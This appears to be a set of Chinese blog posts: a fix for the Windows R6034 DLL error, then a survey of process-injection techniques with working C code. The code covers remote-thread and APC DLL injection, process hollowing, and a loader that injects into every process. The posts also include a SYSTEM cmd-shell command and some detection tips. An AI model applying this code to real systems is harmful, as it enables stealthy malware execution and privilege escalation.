解决 Windows Rx034

以前没有遇上这个错误,这次遇上这个错误是装vim的YouCompleteMe插件后出现,因此很容易想到是装插件引起的这个错误,错误提示Runtime Error 如下图:

error

先放狗搜一下,微软的对R6034的解释如下:

1
2
3
4
5
An application has made an attempt to load the C runtime library without using
a manifest. This is an unsupported way to load Visual C++ DLLs. You need to
modify your application to build with a manifest. For more information, see the
"Visual C++ Libraries as Shared Side-by-Side Assemblies" topic in the product
documentation.

微软的链接中也提到了解决的方法

1
2
3
4
5
6
Rebuild your application to include a manifest. Building an application with
Visual Studio automatically puts the manifest into the resulting .exe or .dll
file. If you are building at the command line, use the mt.exe tool to add the
manifest as a resource. Use resource ID 1 if you build an .exe, and resource
ID 2 if you build a .dll. For more information, see How to: Embed a Manifest
Inside a C/C++ Application.

大概的意思是需要使用manifest.xml来指定需要加载的DLL。上网又翻看了几个链接发现这个错误的成因比较复杂,主要原因是加载mscvr*.dll 出现了问题。不管怎样还是先看看是否使用了 manifest。从微软的解决办法可以知道,manifest很有可能在资源文件里。

还是先看看manifest的作用,在msdn网站搜索相关内容,根据《Understanding Manifest Generation for C/C++ Programs》中的内容,manfest.xml可以是一个外部的XML文件也可以是嵌入在程序的资源文件中。manifest.xml用于管理程序在运行时需要的共享程序集的名字和版本。如果程序只依赖 VisualC++ 的程序集(CRT,MFC,ATL等),manifest会被链接器自动生成。Manifest的Sxs指定了其依赖的清单名称,版本,资源,和其他组件。Sxs是Windows XP引入的新技术,vs 2005 开始使用,全名叫Side by Side assembly,主要还是为了解决兼容性问题,这样同一个系统可以存在不同版本的同名文件而互相不影响各自的运行。

sxs

现在需要定位gvim.exe加载哪个DLL引起了R6034错误,使用Process Explorer发现是加载ycm_client_support.pyd导致。删除YouCompleteMe插件后错误消失。

先看看ycm_client_support.pyd是否使用了manifest.xml, 使用神器TC, F3一下,可以查看manifest的情况。

manifest.xml

发现其实ycm_client_support.pyd已经使用了manifest,但是仍然出现R6034错误。上网搜索了一番(见文末的参考链接),发现这就是非常著名的DLL Hell了,维基百科中专门记录了这个问题。 http://en.wikipedia.org/wiki/Dll_hell

不论如何应该就是DLL加载时出错了,可以使用Process Explorer 工具来查看出问题的进程,看看在进程空间内具体是什么情况。

p-e

哈哈,发现了一些情况,msvcr90.dll在gvim进程空间里有两个!再看看这两个DLL的位置。

p-e1

p-e2

删除掉不在C:\WINDOWS\WinSxS\目录里的msvcr90.dll,问题得以解决。由于这个错误是因为加载ycm_client_support.pyd引起的,再看看ycm_client_support.pyd的情况,拿出TC直接F3一下,又发现了一些有用的信息。ycm_client_support.pyd加载的是cmake目录下的msvcr90.dll, 正常情况下因该使用 C:\Windows\winsxs 目录下的msvcr90.dll

tc1

tc2

查看一下系统环境变量:

1
2
3
4
5
6
7
8
9
10
D:\Program Files\Microsoft Visual Studio 9.0\VC> set | findstr Path

Path=D:\Program Files\Microsoft Visual Studio 9.0\Common7\IDE;D:\Program Files\M
icrosoft Visual Studio 9.0\VC\BIN;D:\Program Files\Microsoft Visual Studio 9.0\C
ommon7\Tools;c:\Windows\Microsoft.NET\Framework\v3.5;c:\Windows\Microsoft.NET\Fr
amework\v2.0.50727;D:\Program Files\Microsoft Visual Studio 9.0\VC\VCPackages;C:
\Program Files\\Microsoft SDKs\Windows\v6.0A\bin;C:\Windows\system32;C:\Windows;
d:\Program Files\CMake 2.8\bin;d:\Program Files\LLVM 3.4.svn\bin;d:\Program File
s\Git\cmd;d:\Python27;D:\Program Files\IDM Computer Solutions\UltraEdit\
PSModulePath=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\

引错误的原因是Windows程序加载DLL是会先加载PATH变量中的DLL文件,后面会加载manifest指定的WinSxS目录的文件,这样就加载了两次,引起了错误。

这个问题涉及 Windows加载DLL文件的顺序,Windows定位 DLL文件的顺序和一个注册表键值相关,这个键值是:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

SafeDllSearchMode的值为1,开启SafeDllSearchMode,
SafeDllSearchMode的值为0,禁用SafeDllSearchMode。

Windows系统默认开启SafeDllSearchMode (Windows XP SP2 后),MSDN文章《Dynamic-Link Library Search Order》中指出,在SafeDllSearchMode开启的情况下,Windows定位DLL文件的顺序为:

  1. The directory from which the application loaded.
  2. The system directory. ( GetSystemDirectory )
  3. The 16-bit system directory.
  4. The Windows directory. (GetWindowsDirectory )
  5. The current directory.
  6. The directories that are listed in the PATH environment variable.

在SafeDllSearchMode关闭的情况下,Windows定位DLL文件的顺序为:

  1. The directory from which the application loaded.
  2. The current directory.
  3. The system directory. (GetSystemDirectory )
  4. The 16-bit system directory.
  5. The Windows directory. ( GetWindowsDirectory)
  6. The directories that are listed in the PATH environment variable.

另外,《Dynamic-Link Library Search Order》中指出使用manifest可以指定加载DLL的路径,但实际的情况是有可能加载多个DLL导致进程崩溃。

Desktop applications can control the location from which a DLL is loaded by specifying a full path, using DLL redirection, or by using a manifest. If none of these methods are used, the system searches for the DLL at load time as described in this section.

参考资料

[1]《Windows via C/C++ Fifth Edition》
[2] Side-by-side Assemblies http://msdn.microsoft.com/en-us/library/aa376307.aspx
[3] DLL Hell http://en.wikipedia.org/wiki/Dll_hell
[4] C Run-Time Error R6034 http://msdn.microsoft.com/en-us/library/ms235560(v=vs.90).aspx
[5] Understanding Manifest Generation for C/C++ Programs http://msdn.microsoft.com/en-us/library/ms235542.aspx
[6] Search Path Used by Windows to Locate a DLL http://msdn.microsoft.com/en-us/library/7d83bc18.aspx
[7] Dynamic-Link Library Search Order http://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx
[8] https://bitbucket.org/Haroogan/vim-youcompleteme-for-windows/src/7dca764c2ee0?at=master
[9] https://github.com/Valloric/YouCompleteMe/wiki/Windows-Installation-Guide
[10] http://www.davidlenihan.com/2007/07/winsxs.html

Windows 进程注入

1. Process Injection 方法总结

进程注入是windows病毒和恶意软件最常用的手法之一,Windows下进程注入的方法比较
多,这里介绍常见的一些方法,以及相应的检查手段。

1.1 SetWindowsHookEx

SetWindowsHookEx估计是大家最熟悉的方法了,这个是微软提供给我们使用正规用法。
往Windows的hook chain中安装hook 例程,监控系统某种类型的event, 使用这种方法需要
实现一个dll。

1
2
3
4
5
6
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook,
_In_ HOOKPROC lpfn,
_In_ HINSTANCE hMod,
_In_ DWORD dwThreadId
);
  • dwThread 为0,将监管系统中所有线程。
  • idHook 指定监控event的类型
  • hMod dll句柄
  • lpfn hook例程的指针

MSDN给出了一个使用的例子:

1
2
3
4
5
6
7
8
9
10
11
12
HOOKPROC hkprcSysMsg;
static HINSTANCE hinstDLL;
static HHOOK hhookSysMsg;

hinstDLL = LoadLibrary(TEXT("c:\\myapp\\sysmsg.dll"));
hkprcSysMsg = (HOOKPROC)GetProcAddress(hinstDLL, "SysMessageProc");

hhookSysMsg = SetWindowsHookEx(
WH_SYSMSGFILTER,
hkprcSysMsg,
hinstDLL,
0);

值得一提的是这个API只能监控GUI程序,console的程序是监控不了。当年使用的时候还吃
了亏。

1.2 lpk.dll

这是一种比较常见的方法,一般把这种方法称为 dll 劫持 (dll hijack),lpk.dll默认
的位置在,如果在其他的路径发现lpk.dll就需要需要注意了。

这种方法需要实现和原始的lpk.dll一样导出函数,每个函数都转向调用真正的lpk.dll
中的导出函数,这样对于程序来说是完全感觉不到什么异常变化的,但是却被伪造的lpk.dll
过了一道,所以称为为劫持。

这里有二个问题,值得思考。

如何能让程序加载我们的lpk.dll而不是系统真正的dll

如果知道Windows查找dll的顺序,就很容易解决这个问题了,微软的MSDN网站很贴心地
回答了我们的问题。

http://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx

1
2
3
4
5
6
7
8
9
a. The directory from which the application loaded.
b. The current directory.
c. The system directory. Use the GetSystemDirectory function to get the path of this directory.
d. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched.
e. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
f. The directories that are listed in the PATH environment variable. Note that
this does not include the per-application path specified by the App
Paths registry key. The App Paths key is not used when computing the DLL
search path.

因此把lpk.dll放到运行的程序同一目录即可。

为什么选取lpk.dll

Windows 7 开始,默认已经不加载LPK.dll了,要Windows 7 默认加载LPK.dll
需要修改注册表,导入下面的注册表, 重启后生效

1
2
3
4
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]
"ExcludeFromKnownDlls"=hex(7):6c,00,70,00,6b,00,2e,00,64,00,6c,00,6c,00,00,00,00,00

1.3 CreateRemoteThread

CreateRemoteThread应该是非常常用的进程注入方法了,有两种常见的使用方法。API
原型如下:

1
2
3
4
5
6
7
8
9
 HANDLE WINAPI CreateRemoteThread(
_In_ HANDLE hProcess,
_In_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_ LPDWORD lpThreadId
);
  • hProcess 要注入的进程的句柄
  • lpStartAddress 远程进程中执行的函数的地址(指针)
  • lpParameter 远程进程中执行的函数的参数的地址 (指针)

实现个DLL

第一种方法同样是跨进程调用LoadLibrary加载指定的DLL,我们自己实现一个DLL,就可以为所欲为了,呵呵。

从API原型中可以看出,需要把数据写入远程的进程,Windows系统提供了WriteProcssMemory
来干这个事,但是如何能够保证我们往远程进程写的地址是可写的呢?

答案是无法保证。。。所以比较稳妥的方法是我们自己在远程进程中申请一块可写的内
存,然后把我们的数据写到远程进程中去。

在远程进程中申请内存也有相应的API VirtualAllocEx, 把前前后后都串起来就可以远
程注入DLL了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
if (process == NULL) {
printf("Error: the specified process couldn't be found.\n");
}

/*
* Get address of the LoadLibrary function.
*/
LPVOID addr = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (addr == NULL) {
printf("Error: the LoadLibraryA function was not found inside kernel32.dll library.\n");
}

/*
* Allocate new memory region inside the process's address space.
*/
LPVOID arg = (LPVOID)VirtualAllocEx(process, NULL, strlen(buffer), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (arg == NULL) {
printf("Error: the memory could not be allocated inside the chosen process.\n");
}

/*
* Write the argument to LoadLibraryA to the process's newly allocated memory region.
*/
int n = WriteProcessMemory(process, arg, buffer, strlen(buffer), NULL);
if (n == 0) {
printf("Error: there was no bytes written to the process's address space.\n");
}

/*
* Inject our DLL into the process's address space.
*/
HANDLE threadID = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)addr, arg, NULL, NULL);
if (threadID == NULL) {
printf("Error: the remote thread could not be created.\n");
}
else {
printf("Success: the remote thread was successfully created.\n");
}

/*
* Close the handle to the process, becuase we've already injected the DLL.
*/
CloseHandle(process);

前面的代码示例代码,看起来很正常,基本上CreateRemoteThread的例子都是这么写的
但是如果如何看的仔细,还是会发现一个问题,不是说lpStartAddress必须是远程进程中
的地址吗,可是LoadLibraryA的地址是注入进程的地址不是远程进程中的地址。

很多文章在这里都没有说透,但是牛书《Windows核心编程》对此有着详细的说明。根据
经验Windows系统总是把Kernel32.dll映射到进程的相同地址,Windows开启ASLR后,重启后
进程中Kernel32.dll的地址会发生变化,但是每个进程中Kernel32.dll的地址仍然相同!
所以我们可以在远程的进程使用本地进程的内存中的LoadLibraryA的地址。

写远程进程内存

第二种方法是直接远程注入代码,不注入DLL,其实并不一定要调用CreateRemoteThread
还有好几种替代方法,

  1. CreateRemoteThread最终会调用NtCreateThreadEx Native API,可以直接调用这个
    Native API来启动远程的线程。
  2. RtlCreateUserThread

1.4 AppInit_DLLs

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

这个键值被《Windows核心编程》介绍而格外出名,可执行文件在处理User32.dll的
DLL_PROCESS_ATTACH 时,会使用LoadLibirary加载AppInit_DLLS, 不链接User32.dll的程
序将不会加载AppInit_DLLS, 很少程序不需要链接User32.dll

新版本的Windows增加了几个关键的键值,会对DLL的注入有影响。

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs

  • REG_DWORD 1 表示全局开启
  • REG_DWORD 0 表示全局关闭

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\RequireSignedAppInit_DLLs

  • REG_DWORD 0 加载任意DLL
  • REG_DWORD 1 只加载签名的DLL

1.5 QueueUserApc

QueueUserApc API 原型如下:

DWORD WINAPI QueueUserAPC(
In PAPCFUNC pfnAPC, // APC function
In HANDLE hThread, // handle of thread
In ULONG_PTR dwData // APc function parameter
);

这个注入方法用的不多,但是也是老方法了,pjf在2007年《暴力注入explorer》的文章里
就提到了这种方法。作用是在线程的Apc队列插入一个用户模式下的APC 对象。

APC 是 asynchronous procedure call 的缩写,每个线程都有自己的APC队列,在线程APC
队列中的APC对象的函数将被线程执行,但是用户模式下的APC对象里的函数并不一定会马上
执行(所以是异步的),除非线程是alertable状态。当线程是alertable状态是,APC队列
里的Apc对象,按照FIFO的顺序进行处理,执行APC函数。线程调用 SleepEx,
SignalObjectAndWait, WaitForSingleObjectEx, WaitForMultipleObjectsEx 或者
MsgWaitForMultipleObjectsEx时线程进入alertable状态。

所以为了我们的函数能够尽快的执行,我们必须在目标进程所有的线程的APC队列中插入
APC 对象,基本上总有一个线程是alertable状态。

核心伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
DWORD ret;
char *DllName = 'c:\\MyDll.dll';
int len = strlen(DllName) + 1;

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
PVOID param = VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT | MEM_TOP_DOWN, PAGE_READWRITE);

if (param != NULL) {
if (WriteProcessMemory(hProcess, param, (LPVOID)DllName, len, &ret)) {
for (DWORD p = 0; p < NumberOfThreads; p ++) {
hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]);
if (hThread != 0) {
InjectDll(hProcess, hThread, (DWORD)param);
CloseHandle(hThread);
}
}
}

void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param) {
QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle('kernel32.dll', 'LoadLibraryA', hThread, (DWORD)param);
}

1.6 ZwMapViewOfSection

这是最近出现的比较新的进程注入方法,在2014年左右有样本开始使用这种方法注入进程。
这种技术的本质是进程替换,使用合法的正常进程,执行的确是恶意的代码。

基本步骤如下:

  1. 使用CREATE_SUSPENDED调用CreateProcessW创建进程
  2. 使用ZwUnmapViewOfSection卸载进程空间中的原始代码
  3. 使用VirtualAllocEx分配内存,确保分配区域可写可执行
  4. 使用WriteProcessMemory在分配区域内写入恶意代码
  5. 使用SetThreadContext设置线程内容为指定的恶意代码
  6. 使用ResumeThread回复进程执行

代码中用到PEB的结构:

1
2
3
4
5
6
7
>dt nt!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
BOOL InjectProcess(LPTSTR VictimFile,LPTSTR InjectExe)
{
HANDLE hFile;
DWORD dwFileSize; //文件大小
IMAGE_DOS_HEADER DosHeader;
IMAGE_NT_HEADERS NtHeader;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT context;
PVOID ImageBase;
unsigned long ImageSize;
unsigned long BaseAddr;
unsigned long retByte = 0;
LONG offset;
HMODULE hNtDll=GetModuleHandle("ntdll.dll");
if(!hNtDll)
return FALSE;
ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtDll,"ZwUnmapViewOfSection");
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);

hFile = ::CreateFile(InjectExe,GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return FALSE;
}
::SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
dwFileSize = ::GetFileSize(hFile, NULL);
LPBYTE pBuf = new BYTE[dwFileSize];
memset(pBuf, 0, dwFileSize);
DWORD dwNumberOfBytesRead = 0;
::ReadFile( hFile
, pBuf
, dwFileSize
, &dwNumberOfBytesRead
, NULL
);

::CopyMemory((void *)&DosHeader,pBuf,sizeof(IMAGE_DOS_HEADER));
::CopyMemory((void *)&NtHeader,&pBuf[DosHeader.e_lfanew],sizeof(IMAGE_NT_HEADERS));
//检查PE结构
//以挂起方式进程
BOOL res = CreateProcess(NULL,VictimFile,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);

if (res)
{
context.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread,&context)) //如果调用失败
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
ReadProcessMemory(pi.hProcess,(void *)(context.Ebx + 8),&BaseAddr,sizeof(unsigned long),NULL);
if (!BaseAddr)
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
//拆卸傀儡进程内存模块
if (ZwUnmapViewOfSection((unsigned long)pi.hProcess,BaseAddr))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
ImageBase = VirtualAllocEx(pi.hProcess,
(void *)NtHeader.OptionalHeader.ImageBase,
NtHeader.OptionalHeader.SizeOfImage,
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE); //ImageBase 0x00400000
if (ImageBase == NULL)
{
DWORD wrongFlag = GetLastError();
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
//替换傀儡进程内存数据
if(!WriteProcessMemory(pi.hProcess, ImageBase, pBuf, NtHeader.OptionalHeader.SizeOfHeaders, &retByte))
{
DWORD wrongFlag2 = GetLastError();
}
//DOS 头 + PE 头 + 区块表的总大小
//定位到区块头
offset = DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS);
IMAGE_SECTION_HEADER secHeader;
WORD i = 0;
for (;i < NtHeader.FileHeader.NumberOfSections;i++)
{
//定位到各个区块
::CopyMemory((void *)&secHeader, &pBuf[offset + i*sizeof(IMAGE_SECTION_HEADER)],sizeof(IMAGE_SECTION_HEADER));
WriteProcessMemory(pi.hProcess,(LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress),&pBuf[secHeader.PointerToRawData],secHeader.SizeOfRawData,&retByte);
VirtualProtectEx(pi.hProcess, (LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress), secHeader.Misc.VirtualSize, PAGE_EXECUTE_READWRITE,&BaseAddr);
}

context.ContextFlags = CONTEXT_FULL;
//重置 执行文件入口
WriteProcessMemory(pi.hProcess, (void *)(context.Ebx + 8),
&ImageBase, //4194304
4, &retByte);
context.Eax = (unsigned long)ImageBase + NtHeader.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread,&context);
ResumeThread(pi.hThread);
}

CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
::CloseHandle(hFile);
delete[] pBuf;
return TRUE;
}

2. 检测方法

  1. 注册表相关注入继续可以通过Hook写注册表相关API实现监控
  2. SetWindowsHookEx则需要检查最后一个参数是否为0,为0表示全局注入,这是我们
    关注的地方。但是输入法之类的正常程序也可能使用注入技术。
  3. CreateRemoteThread进程注入比较复杂,核心要点是要有跨进程写入数据的动作,
    后续从两个维度来进行检查

2.1 检查跨进程写入的数据

虽然WriteProcessMemory的底层API经常被Windows底层用作数据传递,但是通过
特征可以识别出来

  1. 写入的数据是PE文件
  2. 写入的数据里包含.dll (一般是DLL文件名,或者是导入表相关数据)
  3. 写入超长数据

2.2 检查线程代码执行部分地址

检查代码地址是否在WriteProcessMemory写入的数据区域之内

参考链接

获取system权限的cmdshell

1
2
sc Create SuperCMD binPath="cmd /K start" type=own type=interact
sc start SuperCMD

挂钩 NtResumeThread 实现全局Hook

挂钩一直是Hack 编程中永恒的主题,基本高级的Rootkit 程序多多少少都会使用Hook 技术。
似乎Hook 都被讲烂了,不论是Ring3 的还是Ring0 的网上都有例子。Ring0 的毋庸置疑当然
是全局的了,这里说说ring3 的全局hook。Ring 3 有Ring 3 的优势,稳定是压倒一切的,
因此Mcafee 和其他一些商业的安全软件都还是使用了Ring3 的Hook 技术,无论如何用户是
无法接受蓝屏和死机的。

感兴趣的可以装个Rootkit unhooker 自己看看。 :)

1. 以往的Ring 3全局Hook

纵观网上流行的全局Hook 程序都只用了一个Windows API, SetWindowsHookEx,此函数原型:

1
2
3
4
5
6
HHOOK SetWindowsHookEx(      
int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId
);
1
2
3
4
idhook   安装的钩子类型,如 WH_GETMESSAGE,WH_KEYBOARD 等
lpfn hook procedure 的指针
hmod 包含 hook procedure DLL 的handle
dwThread 为0

使用这个这个API 时候有问题的,只能挂接系统中的所有G U I线程,换句通俗的话说就是有界面
的程序,Windows console 类的程序就无能为力了。

还有一种通过插入注册表来实现

1
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

这种方法简单,但是还是只能挂钩GUI 程序,并且这个键值已经被广大HIPS 所关注,吃力不讨好。

以上两种效果不好,因此有人有开始另外的做法,枚举所有进程,插入和挂钩 NtCreateProcess
这是非常自然的想法,似乎也把问题解决了,但是仔细思考一下,就会发现很多问题。

a. 时机不对,在NtCreateProcess函数被调用时进程并没有真正被创建,我们无法执行HOOK操作,
而当NtCreateProcess返回时,进程又已经开始运行

b. 如果是Windows console 创建的进程,你如何去监控这个调用呢?这么说似乎比较抽象,你可
以这么理解,直接在命令行下,cmd,cmd,cmd …. 你可以监控到最后一个cmd 吗,如果只
用SetWindowsHookEx

c. 是否正好站在了华容道,是否足够底层。

似乎很费劲

2. 分析系统创建进程过程,寻找方法

关于这方面内容,可以参考毛德操老师的两篇文章

《漫谈兼容内核之十七:再谈Windows的进程创建》
《漫谈兼容内核之二十二:Windows线程的调度和运行》

下面是他的blog 链接:
http://hi.baidu.com/fatbsd/blog

CreateProcess 是 Kernel32.dll 的导出函数。

操起WinDbg,剁了一下: Windows 2003 SP2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
lkd> uf CreateProcessW
kernel32!CreateProcessW:
7c802474 8bff mov edi,edi
7c802476 55 push ebp
7c802477 8bec mov ebp,esp
7c802479 6a00 push 0x0
7c80247b ff752c push dword ptr [ebp+0x2c]
7c80247e ff7528 push dword ptr [ebp+0x28]
7c802481 ff7524 push dword ptr [ebp+0x24]
7c802484 ff7520 push dword ptr [ebp+0x20]
7c802487 ff751c push dword ptr [ebp+0x1c]
7c80248a ff7518 push dword ptr [ebp+0x18]
7c80248d ff7514 push dword ptr [ebp+0x14]
7c802490 ff7510 push dword ptr [ebp+0x10]
7c802493 ff750c push dword ptr [ebp+0xc]
7c802496 ff7508 push dword ptr [ebp+0x8]
7c802499 6a00 push 0x0
7c80249b e8a6ac0200 call kernel32!CreateProcessInternalW (7c82d146)
7c8024a0 5d pop ebp
7c8024a1 c22800 ret 0x28

lkd> uf CreateProcessInternalW
....
7c82cf8f ff159814807c call dword ptr [kernel32!_imp__NtCreateProcessEx (7c801498)]
....
7c82daa2 ff159414807c call dword ptr [kernel32!_imp__NtCreateThread (7c801494)]
....
7c82dbdc ff158814807c call dword ptr [kernel32!_imp__NtResumeThread (7c801488)]

大概流程如下:

1
2
3
4
5
Kernel32!CreateProcessW
Kernel32!CreateProcessInternalW
ntdll!NtCreateProcessEx
ntdll!NtCreateThread
ntdll!NtResumeThread

因为进程创建后,Windows 必须为它创建一个主线程,然后等待操作系统调度它。所以调用NtResumeThread的时候,就是我们Hook的最佳时机,因为此时创建进程的主要工作已经完成,但是进程并没有调度起来,呵呵,方便干坏事啊。

3. 具体代码实现

基本思路已经清晰了,这里还几个问题。

a. NtResumeThread 函数并不是创建进程才调用,我们怎么区分出哪个是创建进程时
调用的NtResumeThread呢?

其实现实起来不困难,先枚举系统进程一次,将系统进程中NtResumeThread 都挂钩上。每次拦截到
NTResumeThread 是判断NtResumeThread 的头几个字节是否已经被修改,如果没有则是创建新进程的调用。

b. 用什么方法Hook , IAT、Inline? 总的架构?

这种代码写起来还是Inline Hook 来的舒服,修改函数调用头几个字节。
枚举系统所有进程是不可避免的,因此要写个loader 将我们编写的DLL 插入系统所有进程。发现有进进程
创建时,将DLL 插入新进程。

下面代码演示,Hook NtQuerySystemInformation,因为篇幅等原因只有整体框架和关键代码。
Hook 也不是不是我们这次的主要内容,感兴趣的可以参考

http://www.xfocus.net/articles/200403/681.html

c. 在多线程的环境下是否可靠?

使用关键代码段,互斥锁,效果还可以。

Loader:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
void inject(HANDLE hProcess){

char CurPath[256] = {0};
strcpy(CurPath, "C:\\WINDOWS\\system32\\Hook.dll");
PWSTR pszLibFileRemote = NULL;


int len = (lstrlen(CurPath)+1)*2;
WCHAR wCurPath[256];
MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);

pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess,
NULL,
len,
MEM_COMMIT,
PAGE_READWRITE);

WriteProcessMemory(hProcess, pszLibFileRemote,
(PVOID) wCurPath, len, NULL);

PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

CreateRemoteThread(hProcess,
NULL,
0,
pfnThreadRtn,
pszLibFileRemote,
0,
NULL);

}

void TotalInject()
{
HANDLE hProcessSnap = NULL;
BOOL bRet = FALSE;
PROCESSENTRY32 pe32 = {0};

// Take a snapshot of all processes in the system.
EnableDebugPrivilege(1);

hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hProcessSnap == INVALID_HANDLE_VALUE)
return;

// Fill in the size of the structure before using it.

pe32.dwSize = sizeof(PROCESSENTRY32);

// Walk the snapshot of the processes, and for each process,
// display information.

if (Process32First(hProcessSnap, &pe32))
{

do
{
HANDLE hProcess;
// Get the actual priority class.
hProcess = OpenProcess (PROCESS_ALL_ACCESS,
FALSE,
pe32.th32ProcessID);
inject(hProcess);
CloseHandle(hProcess);

}
while (Process32Next(hProcessSnap, &pe32));

}

// Do not forget to clean up the snapshot object.
EnableDebugPrivilege(0);

CloseHandle (hProcessSnap);
return ;


}

Hook.dll: 关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
#include "stdafx.h"
#include <stdio.h>

BOOL g_bHook = FALSE;

typedef LONG NTSTATUS;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef ULONG SYSTEM_INFORMATION_CLASS;
typedef ULONG THREADINFOCLASS;
typedef ULONG PROCESSINFOCLASS;
typedef ULONG KPRIORITY;
